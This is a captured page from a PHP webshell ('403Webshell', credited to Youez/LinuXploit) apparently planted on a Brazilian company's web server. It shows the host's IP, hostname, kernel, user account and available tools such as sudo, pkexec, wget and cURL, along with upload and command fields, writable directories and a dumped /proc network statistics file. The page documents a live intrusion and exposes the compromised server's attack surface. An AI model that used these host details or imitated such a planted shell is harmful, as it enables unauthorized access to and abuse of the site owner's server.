403Webshell
Server IP : 189.126.111.107  /  Your IP : 216.73.217.69
Web Server : Apache
System : Linux www.gadotticar.com.br 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User : gadotticar ( 1000)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1056019/net/stat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/1056019/net/stat/rt_cache
entries  in_hit in_slow_tot in_slow_mc in_no_route in_brd in_martian_dst in_martian_src  out_hit out_slow_tot out_slow_mc  gc_total gc_ignored gc_goal_miss gc_dst_overflow in_hlist_search out_hlist_search
0000007b  00000000 0ed90177 000002a9 0ec60239 0012ff39 00000000 0000005c  00000000 000630ad 00000009 00000000 00000000 00000000 00000000 00000000 00000000 
0000007b  00000000 0dfa5251 00000241 0de52ca1 001525ad 00000000 00000000  00000000 00057774 0000001a 00000000 00000000 00000000 00000000 00000000 00000000 
0000007b  00000000 01414e1f 000001f6 0134da86 000c7394 00000000 00000000  00000000 00057e1a 0000000f 00000000 00000000 00000000 00000000 00000000 00000000 
0000007b  00000000 05e00360 00000268 05d3e496 000c1ec7 00000000 00000000  00000000 0005b0ae 00000004 00000000 00000000 00000000 00000000 00000000 00000000 
0000007b  00000000 17400210 000002b2 172d1a34 0012e7d6 00000000 00000000  00000000 00061852 0000001b 00000000 00000000 00000000 00000000 00000000 00000000 
0000007b  00000000 0dea2eda 0000022d 0dd2c782 00176750 00000000 00000013  00000000 0005ca96 0000001d 00000000 00000000 00000000 00000000 00000000 00000000 
0000007b  00000000 08d3701c 0000027f 08c5a53c 000dcadc 00000000 00000000  00000000 0005db59 0000001a 00000000 00000000 00000000 00000000 00000000 00000000 
0000007b  00000000 05ce1e5d 00000276 05c06500 000db95a 00000000 00000000  00000000 0005f8ad 00000012 00000000 00000000 00000000 00000000 00000000 00000000 

Youez - 2016 - github.com/yon3zu
LinuXploit